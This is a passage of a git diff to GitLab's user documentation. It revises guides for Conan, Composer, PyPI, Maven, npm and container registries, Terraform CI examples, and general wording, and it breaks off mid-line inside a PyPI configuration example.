b/doc/user/group/settings/img/import_panel_v13_1.png Binary files differdeleted file mode 100644 index ce2eb579446..00000000000 --- a/doc/user/group/settings/img/import_panel_v13_1.png +++ /dev/null diff --git a/doc/user/group/settings/img/import_panel_v13_4.png b/doc/user/group/settings/img/import_panel_v13_4.png Binary files differnew file mode 100644 index 00000000000..e4e5b0e91a1 --- /dev/null +++ b/doc/user/group/settings/img/import_panel_v13_4.png diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md index ae83c8da462..77cb862a49d 100644 --- a/doc/user/group/settings/import_export.md +++ b/doc/user/group/settings/import_export.md @@ -52,7 +52,7 @@ The following items are exported: The following items are **not** exported: - Projects -- Runners token +- Runner tokens - SAML discovery tokens NOTE: **Note:** @@ -94,7 +94,7 @@ on an existing group's page. 1. On the New Group page, select the **Import group** tab. -  +  1. Enter your group name. diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md index 235855b6e3a..6de38354c5e 100644 --- a/doc/user/group/subgroups/index.md +++ b/doc/user/group/subgroups/index.md @@ -115,10 +115,10 @@ When you add a member to a subgroup, they inherit the membership and permission level from the parent group(s). This model allows access to nested groups if you have membership in one of its parents. -Jobs for pipelines in subgroups can use [Runners](../../../ci/runners/README.md) registered to the parent group(s). +Jobs for pipelines in subgroups can use [runners](../../../ci/runners/README.md) registered to the parent group(s). This means secrets configured for the parent group are available to subgroup jobs. -In addition, maintainers of projects that belong to subgroups can see the details of Runners registered to parent group(s). +In addition, maintainers of projects that belong to subgroups can see the details of runners registered to parent group(s). The group permissions for a member can be changed only by Owners, and only on the **Members** page of the group the member was added. diff --git a/doc/user/img/feature_flags_history_note_info_v13_2.png b/doc/user/img/feature_flags_history_note_info_v13_2.png Binary files differnew file mode 100644 index 00000000000..403a6002603 --- /dev/null +++ b/doc/user/img/feature_flags_history_note_info_v13_2.png diff --git a/doc/user/img/version_history_notes_collapsed_v13_2.png b/doc/user/img/version_history_notes_collapsed_v13_2.png Binary files differnew file mode 100644 index 00000000000..42ea11ae8ff --- /dev/null +++ b/doc/user/img/version_history_notes_collapsed_v13_2.png diff --git a/doc/user/index.md b/doc/user/index.md index 1ab3541575c..ce8713591ab 100644 --- a/doc/user/index.md +++ b/doc/user/index.md @@ -57,7 +57,7 @@ With GitLab Enterprise Edition, you can also: - [Multiple Issue Boards](project/issue_board.md#multiple-issue-boards). - Create formal relationships between issues with [Related Issues](project/issues/related_issues.md). - Use [Burndown Charts](project/milestones/burndown_charts.md) to track progress during a sprint or while working on a new version of their software. -- Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Global Search](search/advanced_global_search.md) and [Advanced Syntax Search](search/advanced_search_syntax.md) for faster, more advanced code search across your entire GitLab instance. +- Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Search](search/advanced_global_search.md) and [Advanced Search Syntax](search/advanced_search_syntax.md) for faster, more advanced code search across your entire GitLab instance. - [Authenticate users with Kerberos](../integration/kerberos.md). - [Mirror a repository](project/repository/repository_mirroring.md) from elsewhere on your local server. - [Export issues as CSV](project/issues/csv_export.md). @@ -134,10 +134,10 @@ the best of GitLab Flavored Markdown in your threads, comments, issues and merge requests descriptions, and everywhere else GFM is supported. -## Todos +## To-Do List -Never forget to reply to your collaborators. [GitLab Todos](todos.md) -are a tool for working faster and more effectively with your team, +Never forget to reply to your collaborators. [GitLab To-Do List](todos.md) +is a tool for working faster and more effectively with your team, by listing all user or group mentions, as well as issues and merge requests you're assigned to. @@ -151,6 +151,10 @@ requests you're assigned to. you have quick access to. You can also gather feedback on them through [Discussions](#discussions). +## Features behind feature flags + +Understand what [features behind feature flags](feature_flags.md) mean. + ## Keyboard shortcuts There are many [keyboard shortcuts](shortcuts.md) in GitLab to help you navigate between @@ -175,9 +179,9 @@ Automate GitLab via [API](../api/README.md). Learn what is [Git](../topics/git/index.md) and its best practices. -## Instance statistics +## Instance-level analytics -See [various statistics](instance_statistics/index.md) of your GitLab instance. +See [various statistics](admin_area/analytics/index.md) of your GitLab instance. ## Operations Dashboard **(PREMIUM)** diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md index 2a49ca18aaf..227a67f8c8a 100644 --- a/doc/user/infrastructure/index.md +++ b/doc/user/infrastructure/index.md @@ -376,17 +376,18 @@ can configure this manually as follows: ### Example `.gitlab-ci.yaml` file ```yaml -image: registry.gitlab.com/gitlab-org/terraform-images/stable:latest +default: + image: registry.gitlab.com/gitlab-org/terraform-images/stable:latest + + cache: + key: example-production + paths: + - ${TF_ROOT}/.terraform variables: TF_ROOT: ${CI_PROJECT_DIR}/environments/example/production TF_ADDRESS: ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/terraform/state/example-production -cache: - key: example-production - paths: - - ${TF_ROOT}/.terraform - before_script: - cd ${TF_ROOT} @@ -433,18 +434,19 @@ apply: ### Multiple Terraform Plan reports -Starting with 13.2, you can display mutiple reports on the Merge Request page. The reports will also display the `artifacts: name:`. See example below for a suggested setup. +Starting with 13.2, you can display multiple reports on the Merge Request page. The reports will also display the `artifacts: name:`. See example below for a suggested setup. ```yaml -image: - name: registry.gitlab.com/gitlab-org/gitlab-build-images:terraform - entrypoint: - - '/usr/bin/env' - - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' - -cache: - paths: - - .terraform +default: + image: + name: registry.gitlab.com/gitlab-org/gitlab-build-images:terraform + entrypoint: + - '/usr/bin/env' + - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' + + cache: + paths: + - .terraform stages: - build diff --git a/doc/user/instance_statistics/convdev.md b/doc/user/instance_statistics/convdev.md deleted file mode 100644 index a1a4eca191c..00000000000 --- a/doc/user/instance_statistics/convdev.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: '../instance_statistics/dev_ops_score.md' ---- - -This document was moved to [another location](../instance_statistics/dev_ops_score.md). diff --git a/doc/user/instance_statistics/img/cohorts.png b/doc/user/instance_statistics/img/cohorts.png Binary files differdeleted file mode 100644 index 19250e385aa..00000000000 --- a/doc/user/instance_statistics/img/cohorts.png +++ /dev/null diff --git a/doc/user/instance_statistics/img/dev_ops_score_v12_6.png b/doc/user/instance_statistics/img/dev_ops_score_v12_6.png Binary files differdeleted file mode 100644 index af07e9323d6..00000000000 --- a/doc/user/instance_statistics/img/dev_ops_score_v12_6.png +++ /dev/null diff --git a/doc/user/instance_statistics/img/instance_statistics_button_v12_6.png b/doc/user/instance_statistics/img/instance_statistics_button_v12_6.png Binary files differdeleted file mode 100644 index e5f033141ca..00000000000 --- a/doc/user/instance_statistics/img/instance_statistics_button_v12_6.png +++ /dev/null diff --git a/doc/user/instance_statistics/index.md b/doc/user/instance_statistics/index.md deleted file mode 100644 index b09651e04ee..00000000000 --- a/doc/user/instance_statistics/index.md +++ /dev/null @@ -1,15 +0,0 @@ -# Instance statistics - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41416) in GitLab 11.2. - -Instance statistics gives users or admins access to instance-wide analytics. -They are accessible to all users by default (GitLab admins can restrict its -visibility in the [Admin Area](../admin_area/settings/usage_statistics.md)), -and can be accessed via the top bar. - - - -There are two kinds of statistics: - -- [Dev Ops Score](dev_ops_score.md): Provides an overview of your entire instance's feature usage. -- [User Cohorts](user_cohorts.md): Display the monthly cohorts of new users and their activities over time. diff --git a/doc/user/markdown.md b/doc/user/markdown.md index 12d65f75b37..03a4e4cb244 100644 --- a/doc/user/markdown.md +++ b/doc/user/markdown.md @@ -438,6 +438,11 @@ GFM recognizes the following: | commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` | | repository file references | `[README](doc/README)` | | | | repository file line references | `[README](doc/README#L13)` | | | +| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` | + +For example, referencing an issue by using `#123` will format the output as a link +to issue number 123 with text `#123`. Likewise, a link to issue number 123 will be +recognized and formatted with text `#123`. In addition to this, links to some objects are also recognized and formatted. Some examples of these are: @@ -1419,13 +1424,15 @@ Example: | cell 1 | cell 2 | cell 3 | | cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. | | cell 7 | | cell <br> 9 | +| cell 10 | <ul><li> - [ ] Task One </li></ul> | <ul><li> - [ ] Task Two </li><li> - [ ] Task Three </li></ul> | ``` | header 1 | header 2 | header 3 | | --- | ------ |---------:| | cell 1 | cell 2 | cell 3 | -| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's okay. It eventually wraps the text when the cell is too large for the display size. | +| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. | | cell 7 | | cell <br> 9 | +| cell 10 | <ul><li> - [ ] Task One </li></ul> | <ul><li> - [ ] Task Two </li><li> - [ ] Task Three </li></ul> | Additionally, you can choose the alignment of text within columns by adding colons (`:`) to the sides of the "dash" lines in the second row. This affects every cell in the column. diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md index 9b1f23f6d59..89e02b4847c 100644 --- a/doc/user/packages/composer_repository/index.md +++ b/doc/user/packages/composer_repository/index.md @@ -79,12 +79,17 @@ git push origin v1.0.0 Now that the basics of our project is completed, we can publish the package. To publish the package, you need: -- A personal access token. You can generate a [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api` for repository authentication. +- A personal access token or `CI_JOB_TOKEN`. + + ([Deploy tokens](./../../project/deploy_tokens/index.md) are not yet supported for use with Composer.) + - Your project ID which can be found on the home page of your project. To publish the package hosted on GitLab, make a `POST` request to the GitLab package API. A tool like `curl` can be used to make this request: +You can generate a [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api` for repository authentication. For example: + ```shell curl --data tag=<tag> 'https://__token__:<personal-access-token>@gitlab.com/api/v4/projects/<project_id>/packages/composer' ``` @@ -97,6 +102,21 @@ Where: If the above command succeeds, you now should be able to see the package under the **Packages & Registries** section of your project page. +### Publishing the package with CI/CD + +To work with Composer commands within [GitLab CI/CD](./../../../ci/README.md), you can +publish Composer packages by using `CI_JOB_TOKEN` in your `.gitlab-ci.yml` file: + +```yaml +stages: + - deploy + +deploy: + stage: deploy + script: + - 'curl --header "Job-Token: $CI_JOB_TOKEN" --data tag=<tag> "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/packages/composer"' +``` + ### Installing a package To install your package, you need: @@ -130,11 +150,8 @@ You also need to create a `auth.json` file with your GitLab credentials: ```json { - "http-basic": { - "gitlab.com": { - "username": "___token___", - "password": "<personal_access_token>" - } + "gitlab-token": { + "gitlab.com": "<personal_access_token>" } } ``` @@ -155,4 +172,4 @@ CAUTION: **Important:** Make sure to never commit the `auth.json` file to your repository. To install packages from a CI job, consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages-with-satis.md#authentication) tool with your personal access token stored in a [GitLab CI/CD environment variable](../../../ci/variables/README.md) or in -[Hashicorp Vault](../../../ci/examples/authenticating-with-hashicorp-vault/index.md). +[Hashicorp Vault](../../../ci/secrets/index.md). diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md index e8014ad2b84..7c3082e0f83 100644 --- a/doc/user/packages/conan_repository/index.md +++ b/doc/user/packages/conan_repository/index.md @@ -83,15 +83,13 @@ conan new Hello/0.1 -t Next, create a package for that recipe by running `conan create` providing the Conan user and channel: ```shell -conan create . my-org+my-group+my-project/beta +conan create . mycompany/beta ``` NOTE: **Note:** -Current [naming restrictions](#package-recipe-naming-convention) require you to name the `user` value as the `+` separated path of your project on GitLab. +If you are using the [instance level remote](#instance-level-remote), a specific [naming convention](#package-recipe-naming-convention-for-instance-level-remote) must be followed. -The example above would create a package belonging to this project: `https://gitlab.com/my-org/my-group/my-project` with a channel of `beta`. - -These two example commands generate a final package with the recipe `Hello/0.1@my-org+my-group+my-project/beta`. +These two example commands generate a final package with the recipe `Hello/0.1@mycompany/beta`. For more advanced details on creating and managing your packages, refer to the [Conan docs](https://docs.conan.io/en/latest/creating_packages.html). @@ -99,6 +97,38 @@ You are now ready to upload your package to the GitLab registry. To get started, ## Adding the GitLab Package Registry as a Conan remote +You can add the GitLab Package Registry as a Conan remote at the project or instance level. + +### Project level remote + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) in GitLab 13.4. + +The project level remote allows you to work with packages within a given project. +The advantage of using the project level remote is there are no restrictions to your +package name, however all GitLab Conan packages require a full recipe +with the user and channel (`package_name/version@user/channel`). + +To add the remote: + +```shell +conan remote add gitlab https://gitlab.example.com/api/v4/projects/<project_id>/packages/conan +``` + +Once the remote is set, you can use the remote when running Conan commands by adding `--remote=gitlab` to the end of your commands. + +For example: + +```shell +conan search Hello* --all --remote=gitlab +``` + +### Instance level remote + +The instance level remote allows you to use a single remote to access packages accross your entire +GitLab instance. However, when using this remote, there are certain +[package naming restrictions](#package-recipe-naming-convention-for-instance-level-remote) +that must be followed. + Add a new remote to your Conan configuration: ```shell @@ -110,9 +140,28 @@ Once the remote is set, you can use the remote when running Conan commands by ad For example: ```shell -conan search Hello* --all --remote=gitlab +conan search 'Hello*' --remote=gitlab ``` +#### Package recipe naming convention for instance level remote + +The standard Conan recipe convention looks like `package_name/version@user/channel`, +but if you're using the [instance level remote](#instance-level-remote), the recipe +`user` must be the plus sign (`+`) separated project path. + +The following table shows some example recipes you can give your package based on +the project name and path. + +| Project | Package | Supported | +| ---------------------------------- | ----------------------------------------------- | --------- | +| `foo/bar` | `my-package/1.0.0@foo+bar/stable` | Yes | +| `foo/bar-baz/buz` | `my-package/1.0.0@foo+bar-baz+buz/stable` | Yes | +| `gitlab-org/gitlab-ce` | `my-package/1.0.0@gitlab-org+gitlab-ce/stable` | Yes | +| `gitlab-org/gitlab-ce` | `my-package/1.0.0@foo/stable` | No | + +NOTE: **Note:** +[Project level remotes](#project-level-remote) allow for more flexible package names. + ## Authenticating to the GitLab Conan Repository You need a personal access token or deploy token. @@ -142,7 +191,7 @@ Alternatively, you could explicitly include your credentials in any given comman For example: ```shell -CONAN_LOGIN_USERNAME=<gitlab_username or deploy_token_username> CONAN_PASSWORD=<personal_access_token or deploy_token> conan upload Hello/0.1@my-group+my-project/beta --all --remote=gitlab +CONAN_LOGIN_USERNAME=<gitlab_username or deploy_token_username> CONAN_PASSWORD=<personal_access_token or deploy_token> conan upload Hello/0.1@mycompany/beta --all --remote=gitlab ``` ### Setting a default remote to your project (optional) @@ -150,7 +199,7 @@ CONAN_LOGIN_USERNAME=<gitlab_username or deploy_token_username> CONAN_PASSWORD=< If you'd like Conan to always use GitLab as the registry for your package, you can tell Conan to always reference the GitLab remote for a given package recipe: ```shell -conan remote add_ref Hello/0.1@my-group+my-project/beta gitlab +conan remote add_ref Hello/0.1@mycompany/beta gitlab ``` NOTE: **Note:** @@ -165,34 +214,19 @@ The rest of the example commands in this documentation assume that you've added ## Uploading a package -First you need to [create your Conan package locally](https://docs.conan.io/en/latest/creating_packages/getting_started.html). In order to work with the GitLab Package Registry, a specific [naming convention](#package-recipe-naming-convention) must be followed. +First you need to [create your Conan package locally](https://docs.conan.io/en/latest/creating_packages/getting_started.html). + +NOTE: **Note:** +If you are using the [instance level remote](#instance-level-remote), a specific [naming convention](#package-recipe-naming-convention-for-instance-level-remote) must be followed. Ensure you have a project created on GitLab and that the personal access token you're using has the correct permissions for write access to the container registry by selecting the `api` [scope](../../../user/profile/personal_access_tokens.md#limiting-scopes-of-a-personal-access-token). You can upload your package to the GitLab Package Registry using the `conan upload` command: ```shell -conan upload Hello/0.1@my-group+my-project/beta --all +conan upload Hello/0.1@mycompany/beta --all ``` -### Package recipe naming convention - -Standard Conan recipe convention looks like `package_name/version@user/channel`. - -**The recipe user must be the `+` separated project path**. The package -name may be anything, but it is preferred that the project name be used unless -it's not possible due to a naming collision. For example: - -| Project | Package | Supported | -| ---------------------------------- | ----------------------------------------------- | --------- | -| `foo/bar` | `my-package/1.0.0@foo+bar/stable` | Yes | -| `foo/bar-baz/buz` | `my-package/1.0.0@foo+bar-baz+buz/stable` | Yes | -| `gitlab-org/gitlab-ce` | `my-package/1.0.0@gitlab-org+gitlab-ce/stable` | Yes | -| `gitlab-org/gitlab-ce` | `my-package/1.0.0@foo/stable` | No | - -NOTE: **Note:** -A future iteration will extend support to [project and group level](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) remotes which allows for more flexible naming conventions. - ## Installing a package Conan packages are commonly installed as dependencies using the `conanfile.txt` file. @@ -204,7 +238,7 @@ Add the Conan recipe to the `[requires]` section of the file: ```ini [requires] - Hello/0.1@my-group+my-project/beta + Hello/0.1@mycompany/beta [generators] cmake @@ -253,7 +287,7 @@ To search using a partial name, use the wildcard symbol `*`, which should be pla ```shell conan search Hello --all --remote=gitlab conan search He* --all --remote=gitlab -conan search Hello/0.1@my-group+my-project/beta --all --remote=gitlab +conan search Hello/0.1@mycompany/beta --all --remote=gitlab ``` The scope of your search includes all projects you have permission to access, this includes your private projects as well as all public projects. @@ -263,7 +297,7 @@ The scope of your search includes all projects you have permission to access, th The `conan info` command returns information about a given package: ```shell -conan info Hello/0.1@my-group+my-project/beta +conan info Hello/0.1@mycompany/beta ``` ## List of supported CLI commands diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md index f46ad99e573..077666bc036 100644 --- a/doc/user/packages/container_registry/index.md +++ b/doc/user/packages/container_registry/index.md @@ -70,12 +70,12 @@ This view allows you to: - Filter image repositories by their name. - [Delete](#delete-images-from-within-gitlab) one or more image repository. - Navigate to the image repository details page. -- Show a **Quick start** dropdown with the most common commands to log in, build and push +- Show a **Quick start** dropdown with the most common commands to log in, build and push. - Show a banner if the optional [cleanup policy](#cleanup-policy) is enabled for this project. ### Control Container Registry for your group -Navigate to your groups's **{package}** **Packages & Registries > Container Registry**. +Navigate to your group's **{package}** **Packages & Registries > Container Registry**.  @@ -193,7 +193,7 @@ Before diving into the details, some things you should be aware of: longer, but it means you don’t get stuck without security patches for base images. - Doing an explicit `docker pull` before each `docker run` fetches the latest image that was just built. This is especially important if you are - using multiple Runners that cache images locally. Using the Git SHA in your + using multiple runners that cache images locally. Using the Git SHA in your image tag makes this less necessary since each job is unique and you shouldn't ever have a stale image. However, it's still possible to have a stale image if you re-build a given commit after a dependency has changed. @@ -240,8 +240,8 @@ There are three ways to authenticate to the Container Registry via ### Container Registry examples with GitLab CI/CD -If you're using Docker-in-Docker on your Runners, this is how your `.gitlab-ci.yml` -should look similar to this: +If you're using Docker-in-Docker on your runners, this is how your `.gitlab-ci.yml` +should look: ```yaml build: @@ -533,6 +533,11 @@ The cleanup policy: 1. Excludes from the list any tags matching the `name_regex_keep` value (tags to preserve). 1. Finally, the remaining tags in the list are deleted from the Container Registry. +CAUTION: **Warning:** +On GitLab.com, the execution time for the cleanup policy is limited, and some of the tags may remain in +the Container Registry after the policy runs. The next time the policy runs, the remaining tags are included, +so it may take multiple runs for all tags to be deleted. + ### Create a cleanup policy You can create a cleanup policy in [the API](#use-the-cleanup-policy-api) or the UI. diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md index f98a8eb9c6d..7329725a643 100644 --- a/doc/user/packages/maven_repository/index.md +++ b/doc/user/packages/maven_repository/index.md @@ -20,7 +20,7 @@ NOTE: **Note:** This option is available only if your GitLab administrator has [enabled support for the Maven repository](../../../administration/packages/index.md). -After the Packages feature is enabled, the Maven Repository will be available for +After the Packages feature is enabled, the Maven Repository is available for all new projects by default. To enable it for existing projects, or if you want to disable it: @@ -34,7 +34,7 @@ repository. ## Getting Started with Maven -This section will cover installing Maven and building a package. This is a +This section covers installing Maven and building a package. This is a quickstart to help if you're new to building Maven packages. If you're already using Maven and understand how to build your own packages, move onto the [next section](#adding-the-gitlab-package-registry-as-a-maven-remote). @@ -107,7 +107,7 @@ You should see a new directory where you ran this command matching your ## Getting started with Gradle -This section will cover installing Gradle and initializing a Java project. This is a +This section covers installing Gradle and initializing a Java project. This is a quickstart to help if you're new to Gradle. If you're already using Gradle and understand how to build your own packages, move onto the [next section](#adding-the-gitlab-package-registry-as-a-maven-remote). @@ -128,7 +128,7 @@ If you want to use an existing Gradle project, installation is not necessary. Simply execute `gradlew` (on Linux) or `gradlew.bat` (on Windows) in the project directory instead. -You should see something imilar to the below printed in the output: +You should see something similar to the below printed in the output: ```plaintext ------------------------------------------------------------ @@ -191,7 +191,7 @@ Select build script DSL: Enter selection (default: Groovy) [1..2] ``` -Choose `1` to create a new Java Library project which will be described in Groovy DSL. The output should be: +Choose `1` to create a new Java Library project which is described in Groovy DSL. The output should be: ```plaintext Select test framework: @@ -213,7 +213,7 @@ Enter a project name or hit enter to use the directory name as project name. The next step is to add the GitLab Package Registry as a Maven remote. If a project is private or you want to upload Maven artifacts to GitLab, -credentials will need to be provided for authorization too. Support is available +credentials must be provided for authorization too. Support is available for [personal access tokens](#authenticating-with-a-personal-access-token), [CI job tokens](#authenticating-with-a-ci-job-token), and [deploy tokens](../../project/deploy_tokens/index.md) only. Regular username/password @@ -388,7 +388,7 @@ repositories { To download and upload packages from GitLab, you need a `repository` and `distributionManagement` section in your `pom.xml` file. If you're following the -steps from above, then you'll need to add the following information to your +steps from above, then you must add the following information to your `my-project/pom.xml` file. Depending on your workflow and the amount of Maven packages you have, there are @@ -462,13 +462,13 @@ project's ID can be used for uploading. If you rely on many packages, it might be inefficient to include the `repository` section with a unique URL for each package. Instead, you can use the group level endpoint for all your Maven packages stored within one GitLab group. Only packages you have access to -will be available for download. +are available for download. The group level endpoint works with any package names, which means the you have the flexibility of naming compared to [instance level endpoint](#instance-level-maven-endpoint). -However, GitLab will not guarantee the uniqueness of the package names within +However, GitLab does not guarantee the uniqueness of the package names within the group. You can have two projects with the same package name and package -version. As a result, GitLab will serve whichever one is more recent. +version. As a result, GitLab serves whichever one is more recent. The example below shows how the relevant `repository` section of your `pom.xml` would look like. You still need a project specific URL for uploading a package in @@ -524,7 +524,7 @@ For retrieving artifacts, you can use either the If you rely on many packages, it might be inefficient to include the `repository` section with a unique URL for each package. Instead, you can use the instance level endpoint for -all maven packages stored in GitLab and the packages you have access to will be available +all maven packages stored in GitLab and the packages you have access to are available for download. Note that **only packages that have the same path as the project** are exposed via @@ -662,7 +662,7 @@ artifacts or even delete them. Installing a package from the GitLab Package Registry requires that you set up the [remote and authentication](#adding-the-gitlab-package-registry-as-a-maven-remote) -as above. Once this is completed, there are two ways for installaing a package. +as above. Once this is completed, there are two ways to install a package. ### Install using Maven with `mvn install` @@ -732,7 +732,7 @@ you can configure GitLab CI/CD to build new packages automatically. The example below shows how to create a new package each time the `master` branch is updated: -1. Create a `ci_settings.xml` file that will serve as Maven's `settings.xml` file. +1. Create a `ci_settings.xml` file that serves as Maven's `settings.xml` file. Add the server section with the same ID you defined in your `pom.xml` file. For example, in our case it's `gitlab-maven`: @@ -792,9 +792,9 @@ is updated: 1. Push those files to your repository. -The next time the `deploy` job runs, it will copy `ci_settings.xml` to the +The next time the `deploy` job runs, it copies `ci_settings.xml` to the user's home location (in this case the user is `root` since it runs in a -Docker container), and Maven will utilize the configured CI +Docker container), and Maven uses the configured CI [environment variables](../../../ci/variables/README.md#predefined-environment-variables). ### Creating Maven packages with GitLab CI/CD using Gradle diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md index 5b90ec6f18c..2a1c12c2afd 100644 --- a/doc/user/packages/npm_registry/index.md +++ b/doc/user/packages/npm_registry/index.md @@ -308,7 +308,7 @@ stages: deploy: stage: deploy script: - - echo '//gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}'>.npmrc + - echo "//gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}">.npmrc - npm publish ``` @@ -316,9 +316,9 @@ Learn more about [using `CI_JOB_TOKEN` to authenticate to the GitLab NPM registr ## Troubleshooting -### Error running yarn with NPM registry +### Error running Yarn with NPM registry -If you are using [yarn](https://classic.yarnpkg.com/en/) with the NPM registry, you may get +If you are using [Yarn](https://classic.yarnpkg.com/en/) with the NPM registry, you may get an error message like: ```shell @@ -377,6 +377,7 @@ NPM_TOKEN=<your_token> npm install ### `npm install` returns `npm ERR! 403 Forbidden` - Check that your token is not expired and has appropriate permissions. +- Check that [your token does not begin with `-`](https://gitlab.com/gitlab-org/gitlab/-/issues/235473). - Check if you have attempted to publish a package with a name that already exists within a given scope. - Ensure the scoped packages URL includes a trailing slash: - Correct: `//gitlab.com/api/v4/packages/npm/` diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md index fd250c9ac95..9f954627b05 100644 --- a/doc/user/packages/package_registry/index.md +++ b/doc/user/packages/package_registry/index.md @@ -26,19 +26,19 @@ For information on how to create and upload a package, view the GitLab documenta ## Use GitLab CI/CD to build packages You can use [GitLab CI/CD](../../../ci/README.md) to build packages. -For Maven, NuGet and NPM packages, and Composer dependencies, you can +For Maven, NuGet, NPM, Conan, and PyPI packages, and Composer dependencies, you can authenticate with GitLab by using the `CI_JOB_TOKEN`. CI/CD templates, which you can use to get started, are in [this repo](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). -Learn more about [using CI/CD to build Maven packages](../maven_repository/index.md#creating-maven-packages-with-gitlab-cicd), [NPM packages](../npm_registry/index.md#publishing-a-package-with-cicd) and [NuGet Packages](../nuget_repository/index.md#publishing-a-nuget-package-with-cicd). +Learn more about [using CI/CD to build Maven packages](../maven_repository/index.md#creating-maven-packages-with-gitlab-cicd), [NPM packages](../npm_registry/index.md#publishing-a-package-with-cicd), [Composer packages](../composer_repository/index.md#publishing-the-package-with-cicd), [NuGet Packages](../nuget_repository/index.md#publishing-a-nuget-package-with-cicd), [Conan Packages](../conan_repository/index.md#using-gitlab-ci-with-conan-packages), and [PyPI packages](../pypi_repository/index.md#using-gitlab-ci-with-pypi-packages). If you use CI/CD to build a package, extended activity information is displayed when you view the package details:  -You can view which pipeline published the package, as well as the commit and +When using Maven and NPM, you can view which pipeline published the package, as well as the commit and user who triggered it. ## Download a package @@ -54,13 +54,11 @@ To download a package: You cannot edit a package after you publish it in the Package Registry. Instead, you must delete and recreate it. -- You cannot delete packages from the group view. You must delete them from the project view instead. - See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/227714) for details. -- You must have suitable [permissions](../../permissions.md). +To delete a package, you must have suitable [permissions](../../permissions.md). You can delete packages by using [the API](../../../api/packages.md#delete-a-project-package) or the UI. -To delete a package in the UI: +To delete a package in the UI, from your group or project: 1. Go to **{package}** **Packages & Registries > Package Registry**. 1. Find the name of the package you want to delete. diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md index 63e6cd7b5b4..97f3f69d676 100644 --- a/doc/user/packages/pypi_repository/index.md +++ b/doc/user/packages/pypi_repository/index.md @@ -204,8 +204,27 @@ password = <deploy token> When uploading packages, note that: - The maximum allowed size is 50 Megabytes. -- If you upload the same package with the same version multiple times, each consecutive upload - is saved as a separate file. When installing a package, GitLab serves the most recent file. +- You cannot upload the same version of a package multiple times. If you try, you receive the error `Validation failed: File name has already been taken`. + +### Ensure your version string is valid + +If your version string (for example, `0.0.1`) is invalid, it will be rejected. GitLab uses the following regex to validate the version string. + +```ruby +\A(?: + v? + (?:([0-9]+)!)? (?# epoch) + ([0-9]+(?:\.[0-9]+)*) (?# release segment) + ([-_\.]?((a|b|c|rc|alpha|beta|pre|preview))[-_\.]?([0-9]+)?)? (?# pre-release) + ((?:-([0-9]+))|(?:[-_\.]?(post|rev|r)[-_\.]?([0-9]+)?))? (?# post release) + ([-_\.]?(dev)[-_\.]?([0-9]+)?)? (?# dev release) + (?:\+([a-z0-9]+(?:[-_\.][a-z0-9]+)*))? (?# local version) +)\z}xi +``` + +You can play around with the regex and try your version strings on [this regular expression editor](https://rubular.com/r/FKM6d07ouoDaFV). + +For more details about the regex used, please check the [documentation here](https://www.python.org/dev/peps/pep-0440/#appendix-b-parsing-version-strings-with-regular-expressions)) ### Upload packages with Twine @@ -229,6 +248,13 @@ Uploading mypypipackage-0.0.1.tar.gz This indicates that the package was uploaded successfully. You can then navigate to your project's **Packages & Registries** page and see the uploaded packages. +If you would rather not use a `.pypirc` file to define your repository source, +you can upload to the repository with the authentication inline: + +```shell +TWINE_PASSWORD=<personal_access_token or deploy_token> TWINE_USERNAME=<username or deploy_token_username> python3 -m twine upload --repository-url https://gitlab.com/api/v4/projects/<project_id>/packages/pypi dist/* +``` + If you did not follow the guide above, then you need to ensure your package has been properly built and you [created a PyPi package with `setuptools`](https://packaging.python.org/tutorials/packaging-projects/). @@ -273,3 +299,35 @@ Collecting mypypipackage Installing collected packages: mypypipackage Successfully installed mypypipackage-0.0.1 ``` + +## Using GitLab CI with PyPI packages + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202012) in GitLab 13.4. + +To work with PyPI commands within [GitLab CI/CD](./../../../ci/README.md), you can use +`CI_JOB_TOKEN` in place of the personal access token or deploy token in your commands. + +For example: + +```yaml +image: python:latest + +run: + script: + - pip install twine + - python setup.py sdist bdist_wheel + - TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token python -m twine upload --repository-url https://gitlab.com/api/v4/projects/${CI_PROJECT_ID}/packages/pypi dist/* +``` + +You can also use `CI_JOB_TOKEN` in a `~/.pypirc` file that you check into GitLab: + +```ini +[distutils] +index-servers = + gitlab + +[gitlab] +repository = 